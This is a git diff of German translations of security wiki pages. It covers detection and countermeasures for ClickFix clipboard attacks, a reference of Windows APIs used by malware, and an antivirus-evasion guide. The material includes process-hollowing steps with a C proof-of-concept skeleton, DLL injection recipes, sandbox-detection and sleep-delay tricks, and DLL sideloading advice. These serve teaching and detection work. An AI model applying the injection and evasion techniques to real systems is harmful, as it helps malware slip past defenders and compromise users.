`HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` enthält eine Historie der **Win + R** Befehle – auf ungewöhnliche Base64 / obfuskierte Einträge achten. +* Security Event ID **4688** (Process Creation), bei dem `ParentImage` == `explorer.exe` und `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }. +* Event ID **4663** für Dateierstellungen unter `%LocalAppData%\Microsoft\Windows\WinX\` oder in temporären Ordnern kurz vor dem verdächtigen 4688‑Ereignis. +* EDR‑Clipboard‑Sensoren (falls vorhanden) – korrelieren Sie `Clipboard Write`, gefolgt unmittelbar von einem neuen PowerShell‑Prozess. + +## Gegenmaßnahmen + +1. Browser‑Härtung – Clipboard‑Schreibzugriff deaktivieren (`dom.events.asyncClipboard.clipboardItem` etc.) oder eine Benutzeraktion verlangen. +2. Security Awareness – Anwender schulen, sensible Befehle *einzugeben* oder sie zuerst in einen Texteditor einzufügen. +3. PowerShell Constrained Language Mode / Execution Policy + Application Control, um beliebige One‑Liner zu blockieren. +4. Netzwerk‑Kontrollen – ausgehende Anfragen zu bekannten pastejacking‑ und Malware‑C2‑Domains blockieren. ## Verwandte Tricks -* **Discord Invite Hijacking** missbraucht oft denselben ClickFix-Ansatz, nachdem Benutzer in einen bösartigen Server gelockt wurden: +* **Discord Invite Hijacking** nutzt oft denselben ClickFix‑Ansatz, nachdem Benutzer in einen bösartigen Server gelockt wurden: {{#ref}} discord-invite-hijacking.md @@ -85,5 +119,6 @@ discord-invite-hijacking.md - [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/) - [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking) +- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing/common-api-used-in-malware.md b/src/reversing/common-api-used-in-malware.md index d3d3d9a99..c1ce6d53b 100644 --- a/src/reversing/common-api-used-in-malware.md +++ b/src/reversing/common-api-used-in-malware.md @@ -1,4 +1,4 @@ -# Gemeinsame API, die in Malware verwendet wird +# Häufig verwendete APIs in Malware {{#include ../banners/hacktricks-training.md}} @@ -17,9 +17,13 @@ | write() | send() | | shutdown() | WSACleanup() | +### TLS pinning and chunked transport + +Viele Loader kapseln ihren TCP-Stream in `SslStream` und pinnen das Leaf-Zertifikat des Servers an eine eingebettete Kopie (certificate pinning). Bot-Informationen/Aufgaben werden komprimiert (z. B. GZip). Wenn Antworten einen Schwellenwert überschreiten (~1 MB), werden die Daten in kleine Chunks fragmentiert (z. B. 16 KB Segmente), um größenbasierte Heuristiken zu umgehen und Memory-Spikes während der Deserialisierung zu reduzieren. + ### Persistenz -| Registry | Datei | Dienst | +| Registry | File | Service | | ---------------- | ------------- | ---------------------------- | | RegCreateKeyEx() | GetTempPath() | OpenSCManager | | RegOpenKeyEx() | CopyFile() | CreateService() | @@ -38,34 +42,51 @@ | CryptDecrypt() | | CryptReleaseContext() | -### Anti-Analyse/VM +### Anti-Analysis/VM -| Funktionsname | Assemblierungsanweisungen | -| --------------------------------------------------------- | -------------------------- | -| IsDebuggerPresent() | CPUID() | -| GetSystemInfo() | IN() | -| GlobalMemoryStatusEx() | | -| GetVersion() | | -| CreateToolhelp32Snapshot \[Überprüfen, ob ein Prozess läuft] | | -| CreateFileW/A \[Überprüfen, ob eine Datei existiert] | | +| Function Name | Assembly Instructions | +| --------------------------------------------------------- | --------------------- | +| IsDebuggerPresent() | CPUID() | +| GetSystemInfo() | IN() | +| GlobalMemoryStatusEx() | | +| GetVersion() | | +| CreateToolhelp32Snapshot \[Check if a process is running] | | +| CreateFileW/A \[Check if a file exist] | | -### Tarnung +### Emulator API fingerprinting & sleep evasion + +Malware erstellt häufig Fingerprints von Sandbox-Emulatoren, indem sie nach Defender’s virtualised exports sucht (beobachtet im Malware Protection Emulator). Wenn eines dieser Symbole vorhanden ist (case-insensitive Scan des Prozesses), wird die Ausführung für 10–30 Minuten verzögert und anschließend erneut geprüft, um die Analysezeit zu verschwenden. + +Beispiele für als Canary genutzte API-Namen: +- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*` +- `VFS_*` family: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile` +- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads` + +Typische Verzögerungsprimitive (User-Land): +```cmd +cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul +``` +Argument-Überprüfung +- Operatoren verlangen manchmal, dass ein harmlos wirkender CLI-Switch vorhanden ist, bevor das Payload ausgeführt wird (z. B. `/i:--type=renderer`, um Chromium-Child-Prozesse zu imitieren). Fehlt der Switch, beendet sich der Loader sofort, was naive Sandbox-Ausführung behindert. + + +### Stealth | Name | | | ------------------------ | -------------------------------------------------------------------------- | -| VirtualAlloc | Speicher zuweisen (Packers) | -| VirtualProtect | Ändern der Speicherberechtigung (Packer gibt Ausführungsberechtigung für einen Abschnitt) | -| ReadProcessMemory | In externe Prozesse injizieren | -| WriteProcessMemoryA/W | In externe Prozesse injizieren | +| VirtualAlloc | Speicher reservieren (packers) | +| VirtualProtect | Speicherberechtigung ändern (packer gibt einer Sektion Ausführungsrechte) | +| ReadProcessMemory | Injection in externe Prozesse | +| WriteProcessMemoryA/W | Injection in externe Prozesse | | NtWriteVirtualMemory | | -| CreateRemoteThread | DLL/Prozessinjektion... | +| CreateRemoteThread | DLL/Process injection... | | NtUnmapViewOfSection | | | QueueUserAPC | | | CreateProcessInternalA/W | | ### Ausführung -| Funktionsname | +| Function Name | | ---------------- | | CreateProcessA/W | | ShellExecute | @@ -75,11 +96,11 @@ ### Verschiedenes -- GetAsyncKeyState() -- Tastaturprotokollierung -- SetWindowsHookEx -- Tastaturprotokollierung -- GetForeGroundWindow -- Den Namen des aktiven Fensters abrufen (oder die Website aus einem Browser) -- LoadLibrary() -- Bibliothek importieren -- GetProcAddress() -- Bibliothek importieren +- GetAsyncKeyState() -- Key logging +- SetWindowsHookEx -- Key logging +- GetForeGroundWindow -- Namen des aktiven Fensters abrufen (oder die Website aus einem Browser) +- LoadLibrary() -- Bibliothek laden +- GetProcAddress() -- Funktion aus Bibliothek holen - CreateToolhelp32Snapshot() -- Laufende Prozesse auflisten - GetDC() -- Screenshot - BitBlt() -- Screenshot @@ -88,57 +109,57 @@ ## Malware-Techniken -### DLL-Injektion +### DLL Injection -Führen Sie eine beliebige DLL in einem anderen Prozess aus +Execute an arbitrary DLL inside another process -1. Lokalisieren Sie den Prozess, um die bösartige DLL zu injizieren: CreateToolhelp32Snapshot, Process32First, Process32Next -2. Öffnen Sie den Prozess: GetModuleHandle, GetProcAddress, OpenProcess -3. Schreiben Sie den Pfad zur DLL in den Prozess: VirtualAllocEx, WriteProcessMemory -4. Erstellen Sie einen Thread im Prozess, der die bösartige DLL lädt: CreateRemoteThread, LoadLibrary +1. Locate the process to inject the malicious DLL: CreateToolhelp32Snapshot, Process32First, Process32Next +2. Open the process: GetModuleHandle, GetProcAddress, OpenProcess +3. Write the path to the DLL inside the process: VirtualAllocEx, WriteProcessMemory +4. Create a thread in the process that will load the malicious DLL: CreateRemoteThread, LoadLibrary -Andere Funktionen, die verwendet werden können: NTCreateThreadEx, RtlCreateUserThread +Other functions to use: NTCreateThreadEx, RtlCreateUserThread -### Reflexive DLL-Injektion +### Reflective DLL Injection -Laden Sie eine bösartige DLL, ohne normale Windows-API-Aufrufe zu tätigen.\ -Die DLL wird innerhalb eines Prozesses abgebildet, sie wird die Importadressen auflösen, die Relokationen beheben und die DllMain-Funktion aufrufen. +Load a malicious DLL without calling normal Windows API calls.\ +The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function. -### Thread-Hijacking +### Thread Hijacking -Finden Sie einen Thread aus einem Prozess und lassen Sie ihn eine bösartige DLL laden +Find a thread from a process and make it load a malicious DLL -1. Finden Sie einen Ziel-Thread: CreateToolhelp32Snapshot, Thread32First, Thread32Next -2. Öffnen Sie den Thread: OpenThread -3. Pausieren Sie den Thread: SuspendThread -4. Schreiben Sie den Pfad zur bösartigen DLL in den Opferprozess: VirtualAllocEx, WriteProcessMemory -5. Setzen Sie den Thread fort, der die Bibliothek lädt: ResumeThread +1. Find a target thread: CreateToolhelp32Snapshot, Thread32First, Thread32Next +2. Open the thread: OpenThread +3. Suspend the thread: SuspendThread +4. Write the path to the malicious DLL inside the victim process: VirtualAllocEx, WriteProcessMemory +5. Resume the thread loading the library: ResumeThread -### PE-Injektion +### PE Injection -Portable Execution Injection: Die ausführbare Datei wird im Speicher des Opferprozesses geschrieben und von dort ausgeführt. +Portable Execution Injection: The executable will be written in the memory of the victim process and it will be executed from there. -### Process Hollowing (auch bekannt als **RunPE**) +### Process Hollowing (a.k.a **RunPE**) -`Process Hollowing` ist einer der bevorzugten **Verteidigungsumgehungs-/Ausführungstricks**, die von Windows-Malware verwendet werden. Die Idee ist, einen *legitimen* Prozess im **ausgesetzten** Zustand zu starten, sein ursprüngliches Bild aus dem Speicher zu entfernen (auszuhöhlen) und eine **beliebige PE** an seiner Stelle zu kopieren. Wenn der primäre Thread schließlich fortgesetzt wird, wird der bösartige Einstiegspunkt unter dem Deckmantel einer vertrauenswürdigen Binärdatei (oft von Microsoft signiert) ausgeführt. +`Process Hollowing` ist einer der beliebtesten Tricks zur Abwehrumgehung und Ausführung, die von Windows-Malware verwendet werden. Die Idee ist, einen *legitimen* Prozess im **suspendierten** Zustand zu starten, sein ursprüngliches Image aus dem Speicher zu entfernen (hollow) und stattdessen ein **beliebiges PE** einzukopieren. Wenn der Hauptthread schließlich fortgesetzt wird, führt der bösartige Entry-Point unter dem Deckmantel eines vertrauenswürdigen Binaries (oft von Microsoft signiert) aus. -Typischer Arbeitsablauf: +Typischer Ablauf: -1. Starten Sie einen harmlosen Host (z. B. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **ausgesetzt**, sodass noch keine Anweisungen ausgeführt werden. +1. Spawn a benign host (e.g. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **suspended** so that no instructions run yet. ```c STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi; CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); ``` -2. Lesen Sie die bösartige Nutzlast in den Speicher und analysieren Sie ihre PE-Header, um `SizeOfImage`, Abschnitte und den neuen `EntryPoint` zu erhalten. -3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – die ursprüngliche Bildbasis des ausgesetzten Prozesses unmappen. -4. **VirtualAllocEx** – RWX-Speicher von `SizeOfImage` im Remote-Prozess reservieren. -5. **WriteProcessMemory** – zuerst die `Headers` kopieren, dann über die Abschnitte iterieren und deren Rohdaten kopieren. -6. **SetThreadContext** – den Wert von `EAX/RAX` (`RCX` auf x64) oder `Rip` in der Kontextstruktur patchen, sodass `EIP` auf den `EntryPoint` der Nutzlast zeigt. +2. Read the malicious payload into memory and parse its PE headers to obtain `SizeOfImage`, sections and the new `EntryPoint`. +3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – die ursprüngliche Image-Basis des suspendierten Prozesses aus dem Speicher entfernen. +4. **VirtualAllocEx** – RWX-Speicher der Größe `SizeOfImage` im Remote-Prozess reservieren. +5. **WriteProcessMemory** – zuerst die `Headers` kopieren, dann über die Sections iterieren und deren Rohdaten kopieren. +6. **SetThreadContext** – den Wert von `EAX/RAX` (`RCX` auf x64) oder `Rip` in der Context-Struktur patchen, sodass `EIP` auf den `EntryPoint` der Payload zeigt. 7. **ResumeThread** – der Thread wird fortgesetzt und führt den vom Angreifer bereitgestellten Code aus. -Minimales Proof-of-Concept (x86) Skelett: +Minimal proof-of-concept (x86) skeleton: ```c void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){ // 1. create suspended process @@ -164,27 +185,31 @@ SetThreadContext(pi.hThread,&ctx); ResumeThread(pi.hThread); } ``` -Praktische Hinweise, die in der **DarkCloud Stealer**-Kampagne beobachtet wurden: +Praktische Anmerkungen aus der **DarkCloud Stealer**-Kampagne: + +* Der Loader wählte `RegAsm.exe` (Teil des .NET Framework) als Host – ein signiertes Binary, das kaum Aufmerksamkeit erregen dürfte. +* Der entschlüsselte VB6-Stealer (`holographies.exe`) wird *nicht* auf die Festplatte geschrieben; er existiert ausschließlich innerhalb des hollowed process, was statische Erkennung erschwert. +* Sensitive strings (regexes, paths, Telegram credentials) sind pro-String **RC4-encrypted** und werden nur zur Laufzeit entschlüsselt, was Memory-Scanning zusätzlich kompliziert. + +Erkennungsansätze: +* Alarme bei CREATE_SUSPENDED-Prozessen auslösen, die bevor ein Speicherbereich als **RWX** alloziert wird, niemals GUI-/Konsolenfenster erstellen (bei legitimen Programmen selten). +* Nach einer Aufrufsequenz `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` über verschiedene Prozesse hinweg suchen. -* Der Loader wählte `RegAsm.exe` (Teil des .NET Framework) als Host – eine signierte Binärdatei, die wahrscheinlich keine Aufmerksamkeit erregt. -* Der entschlüsselte VB6 Stealer (`holographies.exe`) wird *nicht* auf der Festplatte abgelegt; er existiert nur im gehöhlten Prozess, was die statische Erkennung erschwert. -* Sensible Strings (Regex, Pfade, Telegram-Anmeldeinformationen) sind **RC4-verschlüsselt** pro String und werden nur zur Laufzeit entschlüsselt, was das Scannen des Speichers weiter kompliziert. -Erkennungsideen: -* Alarm bei `CREATE_SUSPENDED`-Prozessen, die niemals GUI-/Konsolenfenster erstellen, bevor ein Speicherbereich als **RWX** (selten für gutartigen Code) zugewiesen wird. -* Suchen Sie nach einer Aufrufsequenz `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` über verschiedene Prozesse hinweg. ## Hooking -- Die **SSDT** (**System Service Descriptor Table**) verweist auf Kernel-Funktionen (ntoskrnl.exe) oder GUI-Treiber (win32k.sys), sodass Benutzerprozesse diese Funktionen aufrufen können. +- Die **SSDT** (**System Service Descriptor Table**) zeigt auf Kernel-Funktionen (ntoskrnl.exe) oder den GUI-Treiber (win32k.sys), sodass Benutzerprozesse diese Funktionen aufrufen können. - Ein Rootkit kann diese Zeiger auf Adressen ändern, die es kontrolliert. -- **IRP** (**I/O Request Packets**) übertragen Datenstücke von einer Komponente zur anderen. Fast alles im Kernel verwendet IRPs, und jedes Geräteobjekt hat seine eigene Funktionstabelle, die gehookt werden kann: DKOM (Direct Kernel Object Manipulation). -- Die **IAT** (**Import Address Table**) ist nützlich, um Abhängigkeiten aufzulösen. Es ist möglich, diese Tabelle zu hooken, um den Code zu übernehmen, der aufgerufen wird. -- **EAT** (**Export Address Table**) Hooks. Diese Hooks können aus **userland** durchgeführt werden. Das Ziel ist es, exportierte Funktionen von DLLs zu hooken. -- **Inline Hooks**: Diese Art ist schwierig zu erreichen. Dies beinhaltet die Modifikation des Codes der Funktionen selbst, möglicherweise durch das Setzen eines Sprungs am Anfang. +- **IRP** (**I/O Request Packets**) übertragen Datenstücke von einer Komponente zur anderen. Fast alles im Kernel verwendet IRPs, und jedes device object hat seine eigene Funktionstabelle, die gehookt werden kann: DKOM (Direct Kernel Object Manipulation) +- Die **IAT** (**Import Address Table**) ist nützlich, um Abhängigkeiten aufzulösen. Es ist möglich, diese Tabelle zu hooken, um den aufzurufenden Code zu hijacken. +- **EAT** (**Export Address Table**) Hooks. Diese Hooks können aus **userland** durchgeführt werden. Ziel ist es, exportierte Funktionen von DLLs zu hooken. +- **Inline Hooks**: Diese Art ist schwer umzusetzen. Dabei wird der Code der Funktion selbst modifiziert, z. B. indem am Anfang ein Jump gesetzt wird. + ## References - [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/) +- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 01366755f..a20a4b9a5 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -6,88 +6,88 @@ ## Defender stoppen -- [defendnot](https://github.com/es3n1n/defendnot): Ein Tool, um Windows Defender außer Betrieb zu setzen. -- [no-defender](https://github.com/es3n1n/no-defender): Ein Tool, um Windows Defender außer Betrieb zu setzen, indem ein anderes AV vorgetäuscht wird. +- [defendnot](https://github.com/es3n1n/defendnot): Ein Tool, um Windows Defender funktionsunfähig zu machen. +- [no-defender](https://github.com/es3n1n/no-defender): Ein Tool, um Windows Defender funktionsunfähig zu machen, indem es ein anderes AV vortäuscht. - [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md) ## **AV Evasion Methodology** -Derzeit verwenden AVs verschiedene Methoden, um zu prüfen, ob eine Datei bösartig ist oder nicht: statische Erkennung, dynamische Analyse und bei den fortgeschritteneren EDRs Verhaltensanalyse. +Derzeit verwenden AVs verschiedene Methoden, um zu prüfen, ob eine Datei bösartig ist oder nicht: static detection, dynamic analysis und bei fortgeschrittenen EDRs behavioural analysis. -### **Statische Erkennung** +### **Static detection** -Statische Erkennung funktioniert, indem bekannte bösartige Strings oder Byte-Arrays in einer Binärdatei oder einem Script markiert werden, und indem Informationen aus der Datei selbst extrahiert werden (z. B. File Description, Company Name, digitale Signaturen, Icon, Checksum, etc.). Das bedeutet, dass die Verwendung bekannter öffentlicher Tools dich leichter auffliegen lassen kann, da diese wahrscheinlich bereits analysiert und als bösartig markiert wurden. Es gibt ein paar Wege, um diese Art der Erkennung zu umgehen: +Static detection wird erreicht, indem bekannte bösartige Strings oder Byte-Arrays in einem Binary oder Script markiert werden und auch Informationen aus der Datei selbst extrahiert werden (z. B. file description, company name, digital signatures, icon, checksum, etc.). Das bedeutet, dass die Verwendung bekannter öffentlicher Tools dich eher auffliegen lässt, da sie wahrscheinlich bereits analysiert und als bösartig markiert wurden. Es gibt einige Möglichkeiten, diese Art der Detection zu umgehen: -- **Encryption** +- **Verschlüsselung** -Wenn du die Binärdatei verschlüsselst, gibt es für AV keine Möglichkeit, dein Programm zu erkennen, aber du benötigst einen Loader, um das Programm im Speicher zu entschlüsseln und auszuführen. +Wenn du das Binary verschlüsselst, kann AV dein Programm nicht erkennen, aber du benötigst einen Loader, um es im Speicher zu entschlüsseln und auszuführen. -- **Obfuscation** +- **Obfuskation** -Manchmal reicht es aus, einige Strings in deiner Binärdatei oder deinem Script zu ändern, um die AV zu umgehen, aber das kann je nach dem, was du verschleiern willst, zeitaufwendig sein. +Manchmal reicht es, einige Strings im Binary oder Script zu ändern, um an AV vorbeizukommen, aber das kann je nachdem, was du obfuskierst, zeitaufwändig sein. - **Custom tooling** -Wenn du deine eigenen Tools entwickelst, gibt es keine bekannten schlechten Signaturen, aber das erfordert viel Zeit und Aufwand. +Wenn du eigene Tools entwickelst, gibt es keine bekannten schlechten Signaturen, aber das kostet viel Zeit und Aufwand. > [!TIP] -> Eine gute Möglichkeit, die statische Erkennung von Windows Defender zu prüfen, ist [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Es teilt die Datei im Wesentlichen in mehrere Segmente auf und lässt Defender jedes einzeln scannen; so kann es dir genau sagen, welche Strings oder Bytes in deiner Binärdatei markiert werden. +> Eine gute Möglichkeit, die statische Detection von Windows Defender zu prüfen, ist [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Es teilt die Datei praktisch in mehrere Segmente und veranlasst Defender, jedes einzeln zu scannen; so kann es dir genau sagen, welche Strings oder Bytes in deinem Binary markiert werden. -Ich empfehle dringend, dir diese [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) über praktische AV Evasion anzusehen. +Ich empfehle dringend, diese [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) über praktische AV Evasion anzusehen. -### **Dynamische Analyse** +### **Dynamic analysis** -Dynamische Analyse ist, wenn das AV deine Binärdatei in einer Sandbox ausführt und nach bösartigem Verhalten Ausschau hält (z. B. das Entschlüsseln und Auslesen von Browser-Passwörtern, das Erstellen eines Minidumps von LSASS, etc.). Dieser Teil kann etwas komplizierter sein, aber hier sind einige Dinge, die du tun kannst, um Sandboxes zu umgehen. +Dynamic analysis bedeutet, dass AV dein Binary in einer Sandbox ausführt und nach bösartiger Aktivität sucht (z. B. Versuch, Browser-Passwörter zu entschlüsseln und auszulesen, einen minidump von LSASS zu erstellen, etc.). Dieser Teil kann etwas kniffliger sein, aber hier sind einige Dinge, die du tun kannst, um Sandboxes zu umgehen. -- **Sleep before execution** Je nach Implementierung kann das eine gute Methode sein, die dynamische Analyse von AVs zu umgehen. AVs haben nur sehr wenig Zeit, Dateien zu scannen, um den Benutzer nicht zu unterbrechen, daher können lange Sleeps die Analyse stören. Das Problem ist, dass viele AV-Sandboxes den Sleep je nach Implementierung einfach überspringen können. -- **Checking machine's resources** Üblicherweise haben Sandboxes sehr wenige Ressourcen zur Verfügung (z. B. < 2GB RAM), sonst könnten sie die Maschine des Nutzers verlangsamen. Du kannst hier auch sehr kreativ werden, z. B. indem du die CPU-Temperatur oder sogar die Lüfterdrehzahlen prüfst — nicht alles wird in der Sandbox implementiert sein. -- **Machine-specific checks** Wenn du einen Benutzer anpeilen willst, dessen Workstation der Domain "contoso.local" beigetreten ist, kannst du die Domain des Computers prüfen; wenn sie nicht übereinstimmt, kann dein Programm sich beenden. +- **Sleep before execution** Je nach Implementierung kann das eine gute Methode sein, die dynamic analysis von AVs zu umgehen. AVs haben nur sehr wenig Zeit, Dateien zu scannen, um den Benutzer nicht zu stören, daher können lange Sleeps die Analyse stören. Das Problem ist, dass viele AV-Sandboxes den Sleep einfach überspringen können, je nachdem, wie er implementiert ist. +- **Checking machine's resources** Üblicherweise haben Sandboxes sehr wenig Ressourcen (z. B. < 2GB RAM), sonst würden sie den Rechner des Benutzers verlangsamen. Hier kannst du auch sehr kreativ werden, z. B. indem du die CPU-Temperatur oder sogar die Lüftergeschwindigkeit prüfst — nicht alles ist in der Sandbox implementiert. +- **Machine-specific checks** Wenn du einen Benutzer angreifen willst, dessen Workstation der Domain "contoso.local" beigetreten ist, kannst du die Domain des Computers prüfen; wenn sie nicht übereinstimmt, kann dein Programm sich beenden. -Es stellt sich heraus, dass der Sandbox-Computername von Microsoft Defender HAL9TH ist. Du kannst also vor der Detonation in deiner Malware den Computername prüfen; wenn der Name HAL9TH ist, befindest du dich in Defenders Sandbox und kannst dein Programm beenden. +Es stellt sich heraus, dass der Computername der Microsoft Defender Sandbox HAL9TH ist. Du kannst also vor der Detonation den Computernamen in deiner Malware prüfen; wenn der Name HAL9TH ist, befindest du dich in Defender's Sandbox und kannst dein Programm beenden.

Quelle: https://youtu.be/StSLxFbVz0M?t=1439

-Einige weitere sehr gute Tipps von [@mgeeky](https://twitter.com/mariuszbit) zum Vorgehen gegen Sandboxes +Einige weitere sehr gute Tipps von [@mgeeky](https://twitter.com/mariuszbit) zum Umgang mit Sandboxes -

Red Team VX Discord #malware-dev channel

+

Red Team VX Discord #malware-dev Channel

-Wie bereits erwähnt, werden **öffentliche Tools** früher oder später **entdeckt**, also solltest du dir eine Frage stellen: +Wie bereits in diesem Beitrag gesagt: öffentliche Tools werden schließlich erkannt, also solltest du dir folgende Frage stellen: -Zum Beispiel, wenn du LSASS dumpen willst, **musst du wirklich mimikatz verwenden**? Oder könntest du ein anderes, weniger bekanntes Projekt verwenden, das ebenfalls LSASS dumpen kann. +Zum Beispiel, wenn du LSASS dumpen willst, musst du wirklich mimikatz verwenden? Oder könntest du ein anderes, weniger bekanntes Projekt nutzen, das ebenfalls LSASS dumpen kann. -Die richtige Antwort ist wahrscheinlich Letzteres. Am Beispiel von mimikatz: Es ist wahrscheinlich eines der, wenn nicht das am stärksten von AVs und EDRs markierten Tools. Während das Projekt selbst super ist, ist es auch ein Alptraum, wenn man versucht, es vor AVs zu verbergen. Also suche einfach nach Alternativen für das, was du erreichen willst. +Die richtige Antwort ist wahrscheinlich Letzteres. Anhand von mimikatz als Beispiel: Es ist wahrscheinlich eines der, wenn nicht das am häufigsten markierten Malware-Stücke durch AVs und EDRs. Zwar ist das Projekt an sich super, aber es ist auch ein Albtraum, damit AVs zu umgehen — such also nach Alternativen für das, was du erreichen willst. > [!TIP] -> Wenn du deine Payloads zur Umgehung modifizierst, stelle sicher, dass du die automatische Sample-Submission in Defender ausschaltest, und bitte, wirklich, **Lade NIEMALS auf VIRUSTOTAL hoch**, wenn dein Ziel langfristige Evasion ist. Wenn du prüfen willst, ob deine Payload von einem bestimmten AV erkannt wird, installiere dieses auf einer VM, versuche, die automatische Sample-Submission auszuschalten, und teste dort, bis du mit dem Ergebnis zufrieden bist. +> Wenn du deine Payloads zur Evasion änderst, stelle sicher, dass du die automatische Sample-Übermittlung in Defender deaktivierst, und bitte, ernsthaft, LADE NICHTS ZU VIRUSTOTAL HOCH, wenn dein Ziel langfristige Evasion ist. Wenn du prüfen willst, ob deine Payload von einem bestimmten AV erkannt wird, installiere sie auf einer VM, versuche, die automatische Sample-Übermittlung zu deaktivieren, und teste dort, bis du mit dem Ergebnis zufrieden bist. ## EXEs vs DLLs -Wann immer möglich, priorisiere die Verwendung von DLLs für Evasion. Nach meiner Erfahrung werden DLL-Dateien üblicherweise deutlich seltener erkannt und analysiert, daher ist es ein einfacher Trick, um in manchen Fällen eine Erkennung zu vermeiden (vorausgesetzt, deine Payload kann als DLL ausgeführt werden). +Wann immer möglich, priorisiere die Verwendung von DLLs für Evasion. Meiner Erfahrung nach werden DLL-Dateien in der Regel wesentlich seltener erkannt und analysiert, daher ist es ein einfacher Trick, um in manchen Fällen die Erkennung zu vermeiden (vorausgesetzt, deine Payload kann als DLL ausgeführt werden). -Wie in diesem Bild zu sehen ist, hat ein DLL-Payload von Havoc eine Erkennungsrate von 4/26 bei antiscan.me, während der EXE-Payload eine Erkennungsrate von 7/26 hat. +Wie man in diesem Bild sehen kann, hat eine DLL-Payload von Havoc eine Erkennungsrate von 4/26 auf antiscan.me, während die EXE-Payload eine Erkennungsrate von 7/26 hat.

antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL

-Nun zeigen wir einige Tricks, die du mit DLL-Dateien verwenden kannst, um viel stealthier zu sein. +Jetzt zeigen wir einige Tricks, die du mit DLL-Dateien verwenden kannst, um deutlich unauffälliger zu sein. ## DLL Sideloading & Proxying -**DLL Sideloading** nutzt die DLL-Suchreihenfolge des Loaders aus, indem die Opferanwendung und der bösartige Payload nebeneinander platziert werden. +**DLL Sideloading** nutzt die DLL-Suchreihenfolge des Loaders aus, indem die Opferanwendung und die bösartigen Payload(s) nebeneinander platziert werden. -Du kannst Programme, die für DLL Sideloading anfällig sind, mit [Siofra](https://github.com/Cybereason/siofra) und dem folgenden powershell-Skript prüfen: +Du kannst Programme, die für DLL Sideloading anfällig sind, mit [Siofra](https://github.com/Cybereason/siofra) und dem folgenden powershell script prüfen: ```bash Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { $binarytoCheck = "C:\Program Files\" + $_ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck } ``` -Dieser Befehl gibt die Liste der Programme aus, die für DLL hijacking im Verzeichnis "C:\Program Files\\" anfällig sind, sowie die DLL-Dateien, die sie zu laden versuchen. +Dieser Befehl gibt die Liste der Programme aus, die für DLL hijacking innerhalb von "C:\Program Files\\" anfällig sind, sowie die DLL-Dateien, die sie zu laden versuchen. -Ich empfehle dringend, **DLL Hijackable/Sideloadable-Programme selbst zu erkunden**, diese Technik ist bei richtiger Durchführung ziemlich unauffällig, aber wenn Sie öffentlich bekannte DLL Sideloadable-Programme verwenden, könnten Sie leicht erwischt werden. +Ich empfehle dringend, dass du **erkunde DLL Hijackable/Sideloadable programs selbst**, diese Technik ist bei richtiger Anwendung ziemlich unauffällig, aber wenn du öffentlich bekannte DLL Sideloadable programs verwendest, kannst du leicht erwischt werden. -Nur dadurch, eine bösartige DLL mit dem Namen abzulegen, den ein Programm zu laden erwartet, wird es nicht automatisch Ihren payload laden, da das Programm bestimmte Funktionen in dieser DLL erwartet. Um dieses Problem zu beheben, verwenden wir eine andere Technik namens **DLL Proxying/Forwarding**. +Allein das Platzieren einer bösartige DLL mit dem Namen, den ein Programm zu laden erwartet, führt nicht zur Ausführung deines payloads, da das Programm bestimmte Funktionen in dieser DLL erwartet. Um dieses Problem zu lösen, verwenden wir eine andere Technik namens **DLL Proxying/Forwarding**. -**DLL Proxying** leitet die Aufrufe, die ein Programm an die proxy- (und bösartige) DLL macht, an die originale DLL weiter, bewahrt so die Funktionalität des Programms und ermöglicht gleichzeitig die Ausführung Ihres payload. +**DLL Proxying** leitet die Aufrufe, die ein Programm an die Proxy-(und bösartige) DLL macht, an die Original-DLL weiter, wodurch die Funktionalität des Programms erhalten bleibt und die Ausführung deines payloads gehandhabt werden kann. Ich werde das Projekt [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) von 